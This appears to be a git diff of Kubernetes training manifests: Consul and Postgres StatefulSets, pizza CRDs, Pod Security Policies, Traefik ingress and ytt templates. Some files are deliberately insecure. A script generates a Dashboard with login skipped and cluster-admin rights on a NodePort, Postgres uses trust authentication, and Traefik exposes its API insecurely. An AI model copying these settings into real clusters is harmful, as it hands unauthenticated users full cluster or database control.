accessModes:
- ReadWriteOnce
resources:
requests:
storage: 1Gi
template:
metadata:
labels:
app: persistentconsul
spec:
serviceAccountName: persistentconsul
affinity:
podAntiAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
- labelSelector:
matchExpressions:
- key: app
operator: In
values:
- persistentconsul
topologyKey: kubernetes.io/hostname
terminationGracePeriodSeconds: 10
containers:
- name: consul
image: "consul:1.6"
volumeMounts:
- name: data
mountPath: /consul/data
args:
- "agent"
- "-bootstrap-expect=3"
- "-retry-join=provider=k8s label_selector=\"app=persistentconsul\""
- "-client=0.0.0.0"
- "-data-dir=/consul/data"
- "-server"
- "-ui"
lifecycle:
preStop:
exec:
command:
- /bin/sh
- -c
- consul leave

14
k8s/pizza-1.yaml Normal file
View File

@@ -0,0 +1,14 @@
apiVersion: apiextensions.k8s.io/v1beta1
kind: CustomResourceDefinition
metadata:
name: pizzas.container.training
spec:
group: container.training
version: v1alpha1
scope: Namespaced
names:
plural: pizzas
singular: pizza
kind: Pizza
shortNames:
- piz

20
k8s/pizza-2.yaml Normal file
View File

@@ -0,0 +1,20 @@
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: pizzas.container.training
spec:
group: container.training
scope: Namespaced
names:
plural: pizzas
singular: pizza
kind: Pizza
shortNames:
- piz
versions:
- name: v1alpha1
served: true
storage: true
schema:
openAPIV3Schema:
type: object

32
k8s/pizza-3.yaml Normal file
View File

@@ -0,0 +1,32 @@
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: pizzas.container.training
spec:
group: container.training
scope: Namespaced
names:
plural: pizzas
singular: pizza
kind: Pizza
shortNames:
- piz
versions:
- name: v1alpha1
served: true
storage: true
schema:
openAPIV3Schema:
type: object
required: [ spec ]
properties:
spec:
type: object
required: [ sauce, toppings ]
properties:
sauce:
type: string
toppings:
type: array
items:
type: string

39
k8s/pizza-4.yaml Normal file
View File

@@ -0,0 +1,39 @@
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: pizzas.container.training
spec:
group: container.training
scope: Namespaced
names:
plural: pizzas
singular: pizza
kind: Pizza
shortNames:
- piz
versions:
- name: v1alpha1
served: true
storage: true
schema:
openAPIV3Schema:
type: object
required: [ spec ]
properties:
spec:
type: object
required: [ sauce, toppings ]
properties:
sauce:
type: string
toppings:
type: array
items:
type: string
additionalPrinterColumns:
- jsonPath: .spec.sauce
name: Sauce
type: string
- jsonPath: .spec.toppings
name: Toppings
type: string

40
k8s/pizza-5.yaml Normal file
View File

@@ -0,0 +1,40 @@
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: pizzas.container.training
spec:
group: container.training
scope: Namespaced
names:
plural: pizzas
singular: pizza
kind: Pizza
shortNames:
- piz
versions:
- name: v1alpha1
served: true
storage: true
schema:
openAPIV3Schema:
type: object
required: [ spec ]
properties:
spec:
type: object
required: [ sauce, toppings ]
properties:
sauce:
type: string
enum: [ red, white ]
toppings:
type: array
items:
type: string
additionalPrinterColumns:
- jsonPath: .spec.sauce
name: Sauce
type: string
- jsonPath: .spec.toppings
name: Toppings
type: string

45
k8s/pizzas.yaml Normal file
View File

@@ -0,0 +1,45 @@
---
apiVersion: container.training/v1alpha1
kind: Pizza
metadata:
name: margherita
spec:
sauce: red
toppings:
- mozarella
- basil
---
apiVersion: container.training/v1alpha1
kind: Pizza
metadata:
name: quatrostagioni
spec:
sauce: red
toppings:
- artichoke
- basil
- mushrooms
- prosciutto
---
apiVersion: container.training/v1alpha1
kind: Pizza
metadata:
name: mehl31
spec:
sauce: white
toppings:
- goatcheese
- pear
- walnuts
- mozzarella
- rosemary
- honey
---
apiVersion: container.training/v1alpha1
kind: Pizza
metadata:
name: brownie
spec:
sauce: chocolate
toppings:
- nuts

View File

@@ -0,0 +1,12 @@
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: my-pdb
spec:
#minAvailable: 2
#minAvailable: 90%
maxUnavailable: 1
#maxUnavailable: 10%
selector:
matchLabels:
app: my-app

1816
k8s/portworx.yaml Normal file

File diff suppressed because it is too large Load Diff

39
k8s/postgres.yaml Normal file
View File

@@ -0,0 +1,39 @@
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: postgres
spec:
selector:
matchLabels:
app: postgres
serviceName: postgres
template:
metadata:
labels:
app: postgres
spec:
#schedulerName: stork
initContainers:
- name: rmdir
image: alpine
volumeMounts:
- mountPath: /vol
name: postgres
command: ["sh", "-c", "if [ -d /vol/lost+found ]; then rmdir /vol/lost+found; fi"]
containers:
- name: postgres
image: postgres:12
env:
- name: POSTGRES_HOST_AUTH_METHOD
value: trust
volumeMounts:
- mountPath: /var/lib/postgresql/data
name: postgres
volumeClaimTemplates:
- metadata:
name: postgres
spec:
accessModes: ["ReadWriteOnce"]
resources:
requests:
storage: 1Gi

38
k8s/psp-privileged.yaml Normal file
View File

@@ -0,0 +1,38 @@
---
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: privileged
annotations:
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
spec:
privileged: true
allowPrivilegeEscalation: true
allowedCapabilities:
- '*'
volumes:
- '*'
hostNetwork: true
hostPorts:
- min: 0
max: 65535
hostIPC: true
hostPID: true
runAsUser:
rule: 'RunAsAny'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: psp:privileged
rules:
- apiGroups: ['policy']
resources: ['podsecuritypolicies']
verbs: ['use']
resourceNames: ['privileged']

37
k8s/psp-restricted.yaml Normal file
View File

@@ -0,0 +1,37 @@
---
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
annotations:
apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
seccomp.security.alpha.kubernetes.io/allowedProfileNames: runtime/default
seccomp.security.alpha.kubernetes.io/defaultProfileName: runtime/default
name: restricted
spec:
allowPrivilegeEscalation: false
fsGroup:
rule: RunAsAny
runAsUser:
rule: RunAsAny
seLinux:
rule: RunAsAny
supplementalGroups:
rule: RunAsAny
volumes:
- configMap
- emptyDir
- projected
- secret
- downwardAPI
- persistentVolumeClaim
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: psp:restricted
rules:
- apiGroups: ['policy']
resources: ['podsecuritypolicies']
verbs: ['use']
resourceNames: ['restricted']

20
k8s/pv.yaml Normal file
View File

@@ -0,0 +1,20 @@
kind: PersistentVolume
apiVersion: v1
metadata:
generateName: my-pv-
labels:
container.training/pv: ""
spec:
accessModes:
- ReadWriteOnce
- ReadWriteMany
capacity:
storage: 1G
hostPath:
path: /tmp/my-pv
#storageClassName: my-sc
#claimRef:
# kind: PersistentVolumeClaim
# apiVersion: v1
# namespace: default
# name: my-pvc-XYZ45

13
k8s/pvc.yaml Normal file
View File

@@ -0,0 +1,13 @@
kind: PersistentVolumeClaim
apiVersion: v1
metadata:
generateName: my-pvc-
labels:
container.training/pvc: ""
spec:
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 1G
#storageClassName: my-sc

147
k8s/rainbow.yaml Normal file
View File

@@ -0,0 +1,147 @@
---
apiVersion: v1
kind: Namespace
metadata:
name: blue
labels:
app: rainbow
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: rainbow
color: blue
name: color
namespace: blue
spec:
selector:
matchLabels:
app: rainbow
color: blue
template:
metadata:
labels:
app: rainbow
color: blue
spec:
containers:
- image: jpetazzo/color
name: color
---
apiVersion: v1
kind: Service
metadata:
labels:
app: rainbow
color: blue
name: color
namespace: blue
spec:
ports:
- name: http
port: 80
protocol: TCP
targetPort: 80
selector:
app: rainbow
color: blue
type: ClusterIP
---
apiVersion: v1
kind: Namespace
metadata:
name: green
labels:
app: rainbow
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: rainbow
color: green
name: color
namespace: green
spec:
selector:
matchLabels:
app: rainbow
color: green
template:
metadata:
labels:
app: rainbow
color: green
spec:
containers:
- image: jpetazzo/color
name: color
---
apiVersion: v1
kind: Service
metadata:
labels:
app: rainbow
color: green
name: color
namespace: green
spec:
ports:
- name: http
port: 80
protocol: TCP
targetPort: 80
selector:
app: rainbow
color: green
type: ClusterIP
---
apiVersion: v1
kind: Namespace
metadata:
name: red
labels:
app: rainbow
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: rainbow
color: red
name: color
namespace: red
spec:
selector:
matchLabels:
app: rainbow
color: red
template:
metadata:
labels:
app: rainbow
color: red
spec:
containers:
- image: jpetazzo/color
name: color
---
apiVersion: v1
kind: Service
metadata:
labels:
app: rainbow
color: red
name: color
namespace: red
spec:
ports:
- name: http
port: 80
protocol: TCP
targetPort: 80
selector:
app: rainbow
color: red
type: ClusterIP

14
k8s/registry.yaml Normal file
View File

@@ -0,0 +1,14 @@
apiVersion: v1
kind: Pod
metadata:
name: registry
spec:
containers:
- name: registry
image: registry
env:
- name: REGISTRY_HTTP_ADDR
valueFrom:
configMapKeyRef:
name: registry
key: http.addr

41
k8s/socat.yaml Normal file
View File

@@ -0,0 +1,41 @@
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: socat
name: socat
namespace: kube-system
spec:
replicas: 1
selector:
matchLabels:
app: socat
template:
metadata:
labels:
app: socat
spec:
containers:
- args:
- sh
- -c
- apk add --no-cache socat && socat TCP-LISTEN:80,fork,reuseaddr OPENSSL:kubernetes-dashboard:443,verify=0
image: alpine
imagePullPolicy: Always
name: socat
---
apiVersion: v1
kind: Service
metadata:
labels:
app: socat
name: socat
namespace: kube-system
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: socat
type: NodePort

10
k8s/storage-class.yaml Normal file
View File

@@ -0,0 +1,10 @@
kind: StorageClass
apiVersion: storage.k8s.io/v1beta1
metadata:
name: portworx-replicated
annotations:
storageclass.kubernetes.io/is-default-class: "true"
provisioner: kubernetes.io/portworx-volume
parameters:
repl: "2"
priority_io: "high"

42
k8s/tilt-registry.yaml Normal file
View File

@@ -0,0 +1,42 @@
---
apiVersion: v1
kind: Namespace
metadata:
name: tilt-registry
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: tilt-registry
name: tilt-registry
namespace: tilt-registry
spec:
selector:
matchLabels:
app: tilt-registry
template:
metadata:
labels:
app: tilt-registry
spec:
containers:
- image: registry
name: registry
---
apiVersion: v1
kind: Service
metadata:
labels:
app: tilt-registry
name: tilt-registry
namespace: tilt-registry
spec:
ports:
- port: 5000
protocol: TCP
targetPort: 5000
nodePort: 30555
selector:
app: tilt-registry
type: NodePort

87
k8s/traefik-v1.yaml Normal file
View File

@@ -0,0 +1,87 @@
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: traefik-ingress-controller
namespace: kube-system
---
kind: DaemonSet
apiVersion: apps/v1
metadata:
name: traefik-ingress-controller
namespace: kube-system
labels:
k8s-app: traefik-ingress-lb
spec:
selector:
matchLabels:
k8s-app: traefik-ingress-lb
template:
metadata:
labels:
k8s-app: traefik-ingress-lb
name: traefik-ingress-lb
spec:
tolerations:
- effect: NoSchedule
operator: Exists
hostNetwork: true
serviceAccountName: traefik-ingress-controller
terminationGracePeriodSeconds: 60
containers:
- image: traefik:1.7
name: traefik-ingress-lb
ports:
- name: http
containerPort: 80
hostPort: 80
- name: admin
containerPort: 8080
hostPort: 8080
securityContext:
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE
args:
- --api
- --kubernetes
- --logLevel=INFO
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: traefik-ingress-controller
rules:
- apiGroups:
- ""
resources:
- services
- endpoints
- secrets
verbs:
- get
- list
- watch
- apiGroups:
- extensions
resources:
- ingresses
verbs:
- get
- list
- watch
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: traefik-ingress-controller
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: traefik-ingress-controller
subjects:
- kind: ServiceAccount
name: traefik-ingress-controller
namespace: kube-system

114
k8s/traefik-v2.yaml Normal file
View File

@@ -0,0 +1,114 @@
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: traefik-ingress-controller
namespace: kube-system
---
kind: DaemonSet
apiVersion: apps/v1
metadata:
name: traefik-ingress-controller
namespace: kube-system
labels:
k8s-app: traefik-ingress-lb
spec:
selector:
matchLabels:
k8s-app: traefik-ingress-lb
template:
metadata:
labels:
k8s-app: traefik-ingress-lb
name: traefik-ingress-lb
spec:
tolerations:
- effect: NoSchedule
operator: Exists
hostNetwork: true
serviceAccountName: traefik-ingress-controller
terminationGracePeriodSeconds: 60
containers:
- image: traefik:v2.5
name: traefik-ingress-lb
ports:
- name: http
containerPort: 80
hostPort: 80
- name: https
containerPort: 443
hostPort: 443
- name: admin
containerPort: 8080
hostPort: 8080
securityContext:
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE
args:
- --accesslog
- --api
- --api.insecure
- --log.level=INFO
- --metrics.prometheus
- --providers.kubernetesingress
- --entrypoints.http.Address=:80
- --entrypoints.https.Address=:443
- --entrypoints.https.http.tls.certResolver=default
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: traefik-ingress-controller
rules:
- apiGroups:
- ""
resources:
- services
- endpoints
- secrets
verbs:
- get
- list
- watch
- apiGroups:
- extensions
resources:
- ingresses
verbs:
- get
- list
- watch
- apiGroups:
- networking.k8s.io
resources:
- ingresses
- ingressclasses
verbs:
- get
- list
- watch
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: traefik-ingress-controller
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: traefik-ingress-controller
subjects:
- kind: ServiceAccount
name: traefik-ingress-controller
namespace: kube-system
---
kind: IngressClass
apiVersion: networking.k8s.io/v1
metadata:
name: traefik
annotations:
ingressclass.kubernetes.io/is-default-class: "true"
spec:
controller: traefik.io/ingress-controller

114
k8s/traefik.yaml Normal file
View File

@@ -0,0 +1,114 @@
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: traefik-ingress-controller
namespace: kube-system
---
kind: DaemonSet
apiVersion: apps/v1
metadata:
name: traefik-ingress-controller
namespace: kube-system
labels:
k8s-app: traefik-ingress-lb
spec:
selector:
matchLabels:
k8s-app: traefik-ingress-lb
template:
metadata:
labels:
k8s-app: traefik-ingress-lb
name: traefik-ingress-lb
spec:
tolerations:
- effect: NoSchedule
operator: Exists
hostNetwork: true
serviceAccountName: traefik-ingress-controller
terminationGracePeriodSeconds: 60
containers:
- image: traefik:v2.5
name: traefik-ingress-lb
ports:
- name: http
containerPort: 80
hostPort: 80
- name: https
containerPort: 443
hostPort: 443
- name: admin
containerPort: 8080
hostPort: 8080
securityContext:
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE
args:
- --accesslog
- --api
- --api.insecure
- --log.level=INFO
- --metrics.prometheus
- --providers.kubernetesingress
- --entrypoints.http.Address=:80
- --entrypoints.https.Address=:443
- --entrypoints.https.http.tls.certResolver=default
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: traefik-ingress-controller
rules:
- apiGroups:
- ""
resources:
- services
- endpoints
- secrets
verbs:
- get
- list
- watch
- apiGroups:
- extensions
resources:
- ingresses
verbs:
- get
- list
- watch
- apiGroups:
- networking.k8s.io
resources:
- ingresses
- ingressclasses
verbs:
- get
- list
- watch
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: traefik-ingress-controller
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: traefik-ingress-controller
subjects:
- kind: ServiceAccount
name: traefik-ingress-controller
namespace: kube-system
---
kind: IngressClass
apiVersion: networking.k8s.io/v1
metadata:
name: traefik
annotations:
ingressclass.kubernetes.io/is-default-class: "true"
spec:
controller: traefik.io/ingress-controller

84
k8s/update-dashboard-yaml.sh Executable file
View File

@@ -0,0 +1,84 @@
#!/bin/sh
banner() {
echo "# This file was generated with the script $0."
echo "#"
}
create_namespace() {
# 'helm template --namespace ... --create-namespace'
# doesn't create the namespace, so we need to create it.
# https://github.com/helm/helm/issues/9813
echo ---
kubectl create namespace kubernetes-dashboard \
-o yaml --dry-run=client
echo ---
}
add_namespace() {
# 'helm template --namespace ...' doesn't add namespace information,
# so we do it with this convenient filter instead.
# https://github.com/helm/helm/issues/10737
kubectl create -f- -o yaml --dry-run=client --namespace kubernetes-dashboard
}
(
banner
create_namespace
helm template kubernetes-dashboard kubernetes-dashboard \
--repo https://kubernetes.github.io/dashboard/ \
--create-namespace --namespace kubernetes-dashboard \
--set "extraArgs={--enable-skip-login,--enable-insecure-login}" \
--set metricsScraper.enabled=true \
--set protocolHttp=true \
--set service.type=NodePort \
| add_namespace
echo ---
kubectl create clusterrolebinding kubernetes-dashboard:insecure \
--clusterrole=cluster-admin \
--serviceaccount=kubernetes-dashboard:kubernetes-dashboard \
-o yaml --dry-run=client \
#
) > dashboard-insecure.yaml
(
banner
create_namespace
helm template kubernetes-dashboard kubernetes-dashboard \
--repo https://kubernetes.github.io/dashboard/ \
--create-namespace --namespace kubernetes-dashboard \
--set metricsScraper.enabled=true \
| add_namespace
) > dashboard-recommended.yaml
(
banner
create_namespace
helm template kubernetes-dashboard kubernetes-dashboard \
--repo https://kubernetes.github.io/dashboard/ \
--create-namespace --namespace kubernetes-dashboard \
--set metricsScraper.enabled=true \
--set service.type=NodePort \
| add_namespace
echo ---
kubectl create clusterrolebinding kubernetes-dashboard:cluster-admin \
--clusterrole=cluster-admin \
--serviceaccount=kubernetes-dashboard:cluster-admin \
-o yaml --dry-run=client \
#
echo ---
kubectl create serviceaccount -n kubernetes-dashboard cluster-admin \
-o yaml --dry-run=client \
#
echo ---
cat <<EOF
apiVersion: v1
kind: Secret
type: kubernetes.io/service-account-token
metadata:
name: cluster-admin-token
namespace: kubernetes-dashboard
annotations:
kubernetes.io/service-account.name: cluster-admin
EOF
) > dashboard-with-token.yaml

32
k8s/user=jean.doe.yaml Normal file
View File

@@ -0,0 +1,32 @@
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: jean.doe
namespace: users
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user=jean.doe
rules:
- apiGroups: [ certificates.k8s.io ]
resources: [ certificatesigningrequests ]
verbs: [ create ]
- apiGroups: [ certificates.k8s.io ]
resourceNames: [ user=jean.doe ]
resources: [ certificatesigningrequests ]
verbs: [ get, create, delete, watch ]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user=jean.doe
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user=jean.doe
subjects:
- kind: ServiceAccount
name: jean.doe
namespace: users

View File

@@ -0,0 +1,63 @@
---
apiVersion: v1
kind: PersistentVolume
metadata:
name: consul-node2
spec:
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
persistentVolumeReclaimPolicy: Delete
local:
path: /mnt/consul
nodeAffinity:
required:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/hostname
operator: In
values:
- node2
---
apiVersion: v1
kind: PersistentVolume
metadata:
name: consul-node3
spec:
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
persistentVolumeReclaimPolicy: Delete
local:
path: /mnt/consul
nodeAffinity:
required:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/hostname
operator: In
values:
- node3
---
apiVersion: v1
kind: PersistentVolume
metadata:
name: consul-node4
spec:
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
persistentVolumeReclaimPolicy: Delete
local:
path: /mnt/consul
nodeAffinity:
required:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/hostname
operator: In
values:
- node4

View File

@@ -0,0 +1,164 @@
#! Define and use variables.
---
#@ repository = "dockercoins"
#@ tag = "v0.1"
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: hasher
name: hasher
spec:
replicas: 1
selector:
matchLabels:
app: hasher
template:
metadata:
labels:
app: hasher
spec:
containers:
- image: #@ "{}/hasher:{}".format(repository, tag)
name: hasher
---
apiVersion: v1
kind: Service
metadata:
labels:
app: hasher
name: hasher
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: hasher
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: redis
name: redis
spec:
replicas: 1
selector:
matchLabels:
app: redis
template:
metadata:
labels:
app: redis
spec:
containers:
- image: redis
name: redis
---
apiVersion: v1
kind: Service
metadata:
labels:
app: redis
name: redis
spec:
ports:
- port: 6379
protocol: TCP
targetPort: 6379
selector:
app: redis
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: rng
name: rng
spec:
replicas: 1
selector:
matchLabels:
app: rng
template:
metadata:
labels:
app: rng
spec:
containers:
- image: #@ "{}/rng:{}".format(repository, tag)
name: rng
---
apiVersion: v1
kind: Service
metadata:
labels:
app: rng
name: rng
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: rng
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: webui
name: webui
spec:
replicas: 1
selector:
matchLabels:
app: webui
template:
metadata:
labels:
app: webui
spec:
containers:
- image: #@ "{}/webui:{}".format(repository, tag)
name: webui
---
apiVersion: v1
kind: Service
metadata:
labels:
app: webui
name: webui
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: webui
type: NodePort
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: worker
name: worker
spec:
replicas: 1
selector:
matchLabels:
app: worker
template:
metadata:
labels:
app: worker
spec:
containers:
- image: #@ "{}/worker:{}".format(repository, tag)
name: worker

View File

@@ -0,0 +1,167 @@
#! Define and use a function to set the deployment image.
---
#@ repository = "dockercoins"
#@ tag = "v0.1"
#@ def image(component):
#@ return "{}/{}:{}".format(repository, component, tag)
#@ end
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: hasher
name: hasher
spec:
replicas: 1
selector:
matchLabels:
app: hasher
template:
metadata:
labels:
app: hasher
spec:
containers:
- image: #@ image("hasher")
name: hasher
---
apiVersion: v1
kind: Service
metadata:
labels:
app: hasher
name: hasher
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: hasher
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: redis
name: redis
spec:
replicas: 1
selector:
matchLabels:
app: redis
template:
metadata:
labels:
app: redis
spec:
containers:
- image: redis
name: redis
---
apiVersion: v1
kind: Service
metadata:
labels:
app: redis
name: redis
spec:
ports:
- port: 6379
protocol: TCP
targetPort: 6379
selector:
app: redis
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: rng
name: rng
spec:
replicas: 1
selector:
matchLabels:
app: rng
template:
metadata:
labels:
app: rng
spec:
containers:
- image: #@ image("rng")
name: rng
---
apiVersion: v1
kind: Service
metadata:
labels:
app: rng
name: rng
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: rng
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: webui
name: webui
spec:
replicas: 1
selector:
matchLabels:
app: webui
template:
metadata:
labels:
app: webui
spec:
containers:
- image: #@ image("webui")
name: webui
---
apiVersion: v1
kind: Service
metadata:
labels:
app: webui
name: webui
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: webui
type: NodePort
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: worker
name: worker
spec:
replicas: 1
selector:
matchLabels:
app: worker
template:
metadata:
labels:
app: worker
spec:
containers:
- image: #@ image("worker")
name: worker

164
k8s/ytt/3-labels/app.yaml Normal file
View File

@@ -0,0 +1,164 @@
#! Define and use functions, demonstrating how to generate labels.
---
#@ repository = "dockercoins"
#@ tag = "v0.1"
#@ def image(component):
#@ return "{}/{}:{}".format(repository, component, tag)
#@ end
#@ def labels(component):
#@ return {
#@ "app": component,
#@ "container.training/generated-by": "ytt",
#@ }
#@ end
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("hasher")
name: hasher
spec:
replicas: 1
selector:
matchLabels:
app: hasher
template:
metadata:
labels:
app: hasher
spec:
containers:
- image: #@ image("hasher")
name: hasher
---
apiVersion: v1
kind: Service
metadata:
labels: #@ labels("hasher")
name: hasher
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: hasher
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("redis")
name: redis
spec:
replicas: 1
selector:
matchLabels:
app: redis
template:
metadata:
labels:
app: redis
spec:
containers:
- image: redis
name: redis
---
apiVersion: v1
kind: Service
metadata:
labels: #@ labels("redis")
name: redis
spec:
ports:
- port: 6379
protocol: TCP
targetPort: 6379
selector:
app: redis
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("rng")
name: rng
spec:
replicas: 1
selector:
matchLabels:
app: rng
template:
metadata:
labels:
app: rng
spec:
containers:
- image: #@ image("rng")
name: rng
---
apiVersion: v1
kind: Service
metadata:
labels: #@ labels("rng")
name: rng
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: rng
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("webui")
name: webui
spec:
replicas: 1
selector:
matchLabels:
app: webui
template:
metadata:
labels:
app: webui
spec:
containers:
- image: #@ image("webui")
name: webui
---
apiVersion: v1
kind: Service
metadata:
labels: #@ labels("webui")
name: webui
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: webui
type: NodePort
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("worker")
name: worker
spec:
replicas: 1
selector:
matchLabels:
app: worker
template:
metadata:
labels:
app: worker
spec:
containers:
- image: #@ image("worker")
name: worker

162
k8s/ytt/4-data/app.yaml Normal file
View File

@@ -0,0 +1,162 @@
---
#@ load("@ytt:data", "data")
#@ def image(component):
#@ return "{}/{}:{}".format(data.values.repository, component, data.values.tag)
#@ end
#@ def labels(component):
#@ return {
#@ "app": component,
#@ "container.training/generated-by": "ytt",
#@ }
#@ end
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("hasher")
name: hasher
spec:
replicas: 1
selector:
matchLabels:
app: hasher
template:
metadata:
labels:
app: hasher
spec:
containers:
- image: #@ image("hasher")
name: hasher
---
apiVersion: v1
kind: Service
metadata:
labels: #@ labels("hasher")
name: hasher
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: hasher
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("redis")
name: redis
spec:
replicas: 1
selector:
matchLabels:
app: redis
template:
metadata:
labels:
app: redis
spec:
containers:
- image: redis
name: redis
---
apiVersion: v1
kind: Service
metadata:
labels: #@ labels("redis")
name: redis
spec:
ports:
- port: 6379
protocol: TCP
targetPort: 6379
selector:
app: redis
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("rng")
name: rng
spec:
replicas: 1
selector:
matchLabels:
app: rng
template:
metadata:
labels:
app: rng
spec:
containers:
- image: #@ image("rng")
name: rng
---
apiVersion: v1
kind: Service
metadata:
labels: #@ labels("rng")
name: rng
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: rng
type: ClusterIP
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("webui")
name: webui
spec:
replicas: 1
selector:
matchLabels:
app: webui
template:
metadata:
labels:
app: webui
spec:
containers:
- image: #@ image("webui")
name: webui
---
apiVersion: v1
kind: Service
metadata:
labels: #@ labels("webui")
name: webui
spec:
ports:
- port: 80
protocol: TCP
targetPort: 80
selector:
app: webui
type: NodePort
---
apiVersion: apps/v1
kind: Deployment
metadata:
labels: #@ labels("worker")
name: worker
spec:
replicas: 1
selector:
matchLabels:
app: worker
template:
metadata:
labels:
app: worker
spec:
containers:
- image: #@ image("worker")
name: worker

View File

@@ -0,0 +1,4 @@
#@data/values-schema
---
repository: dockercoins
tag: v0.1

Some files were not shown because too many files have changed in this diff Show More